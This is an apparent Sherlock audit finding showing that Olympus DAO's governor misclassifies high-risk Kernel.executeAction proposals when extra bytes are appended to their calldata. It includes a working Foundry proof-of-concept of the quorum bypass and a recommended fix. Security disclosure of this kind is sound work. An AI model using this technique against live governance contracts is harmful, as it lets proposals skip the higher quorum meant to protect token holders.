haxatron - High risk quorum bypass by appending extra bytes into the calldata.

[sherlock-admin]

haxatron

medium

High risk quorum bypass by appending extra bytes into the calldata.

Summary

High risk quorum bypass by appending extra bytes into the calldata.

Vulnerability Detail

Olympus DAO checks the proposal and sets a higher quorum if the proposal action is deemed high risk. Proposal actions deemed as high risk are for instance, calling executeAction on the Kernel to install or activate policies:

GovernorBravoDelegate.sol#L169C1-L173C14

            // Identify the quorum level to use
            if (_isHighRiskProposal(targets, signatures, calldatas)) {
                quorumVotes = getHighRiskQuorumVotes();
            } else {
                quorumVotes = getQuorumVotes();
            }

However there is a simple way to fool this check:

GovernorBravoDelegate.sol#L631C1-L645C22

                // Check if the action is making a core change to system via the kernel
                if (selector == Kernel.executeAction.selector) {
                    uint8 action;
                    address actionTarget;

                    if (bytes(signature).length == 0 && data.length == 0x44) {
                        assembly {
                            action := mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
                            actionTarget := mload(add(data, 0x44))
                        }
                    } else if (data.length == 0x40) {
                        (action, actionTarget) = abi.decode(data, (uint8, address));
                    } else {
=>                   continue;
                    }

The function checks if the calldata is exactly 64 or 68 bytes long. If it is not, then we use a continue statement. What the continue statement does, however, is move to the next iteration of the for loop which completely skips all the further checks.

Therefore, we can append additional bytes into the calldata which will bypass all the checks and the EVM will ignore this additional bytes when making an external call.

POC

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;

import {Test} from "forge-std/Test.sol";
import {UserFactory} from "test/lib/UserFactory.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {console2} from "forge-std/console2.sol";

import {MockGohm} from "test/mocks/OlympusMocks.sol";

import {OlympusTreasury} from "modules/TRSRY/OlympusTreasury.sol";
import {OlympusRoles} from "modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from "policies/RolesAdmin.sol";
import {TreasuryCustodian} from "policies/TreasuryCustodian.sol";
import "src/Kernel.sol";

import {GovernorBravoDelegateStorageV1} from "src/external/governance/abstracts/GovernorBravoStorage.sol";
import {GovernorBravoDelegator} from "src/external/governance/GovernorBravoDelegator.sol";
import {GovernorBravoDelegate} from "src/external/governance/GovernorBravoDelegate.sol";
import {Timelock} from "src/external/governance/Timelock.sol";

contract HighRiskQuorumBypassTest is Test {
    using Address for address;

    address internal whitelistGuardian;
    address internal vetoGuardian;
    address internal alice;
    uint256 internal alicePk;

    MockGohm internal gohm;

    Kernel internal kernel;
    OlympusTreasury internal TRSRY;
    OlympusRoles internal ROLES;
    RolesAdmin internal rolesAdmin;
    TreasuryCustodian internal custodian;

    GovernorBravoDelegator internal governorBravoDelegator;
    GovernorBravoDelegate internal governorBravo;
    Timelock internal timelock;

    // Re-declare events
    event VoteCast(
        address indexed voter,
        uint256 proposalId,
        uint8 support,
        uint256 votes,
        string reason
    );

    function setUp() public {
        // Set up users
        {
            address[] memory users = (new UserFactory()).create(2);
            whitelistGuardian = users[0];
            vetoGuardian = users[1];

            (alice, alicePk) = makeAddrAndKey("alice");
        }

        // Create token
        {
            gohm = new MockGohm(100e9);
        }

        // Create kernel, modules, and policies
        {
            kernel = new Kernel();
            TRSRY = new OlympusTreasury(kernel); // This will be installed by the governor later
            ROLES = new OlympusRoles(kernel);
            rolesAdmin = new RolesAdmin(kernel);
            custodian = new TreasuryCustodian(kernel);
        }

        // Create governance contracts
        {
            governorBravo = new GovernorBravoDelegate();
            timelock = new Timelock(address(this), 7 days);

            // SETS VETO GUARDIAN AS GOVERNOR BRAVO ADMIN
            vm.prank(vetoGuardian);
            governorBravoDelegator = new GovernorBravoDelegator(
                address(timelock),
                address(gohm),
                address(kernel),
                address(governorBravo),
                21600,
                21600,
                10_000
            );
        }

        // Configure governance contracts
        {
            timelock.setFirstAdmin(address(governorBravoDelegator));
            // THIS SHOULD BE DONE VIA PROPOSAL
            vm.prank(address(timelock));
            address(governorBravoDelegator).functionCall(
                abi.encodeWithSignature("_setWhitelistGuardian(address)", whitelistGuardian)
            );
        }

        // Set up modules and policies
        {
            kernel.executeAction(Actions.InstallModule, address(ROLES));
            kernel.executeAction(Actions.ActivatePolicy, address(rolesAdmin));
            kernel.executeAction(Actions.ChangeExecutor, address(timelock));

            rolesAdmin.pushNewAdmin(address(timelock));
        }

        // Set up gOHM
        {
            gohm.mint(address(0), 890_000e18);
            gohm.mint(alice, 110_000e18); // Alice has >10% of the supply
            gohm.checkpointVotes(alice);
        }
    }

    function test_HighRiskQuorumBypass() public {
        // Activate TRSRY
        vm.prank(address(timelock));
        kernel.executeAction(Actions.InstallModule, address(TRSRY));

        // Create proposal that should be flagged as high risk
        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        string[] memory signatures = new string[](1);
        bytes[] memory calldatas = new bytes[](1);  
        string memory description = "High Risk Proposal";

        targets[0] = address(kernel);
        values[0] = 0;
        signatures[0] = "";
        calldatas[0] = abi.encodeWithSelector(
            kernel.executeAction.selector,
            Actions.ActivatePolicy,
            address(custodian),
            0 // extra data
        );

        vm.prank(alice);
        bytes memory data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature(
                "propose(address[],uint256[],string[],bytes[],string)",
                targets,
                values,
                signatures,
                calldatas,
                description
            )
        );
        uint256 proposalId = abi.decode(data, (uint256));

        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getProposalQuorum(uint256)", proposalId)
        );
        uint256 quorum = abi.decode(data, (uint256));

        // incorrectly flags as low risk quorum
        assertEq(quorum, 200_000e18);
    }
}

Impact

High risk quorum bypass

Code Snippet

See above.

Tool used

Foundry

Recommendation

return true instead of continue in the else block

Duplicate of #100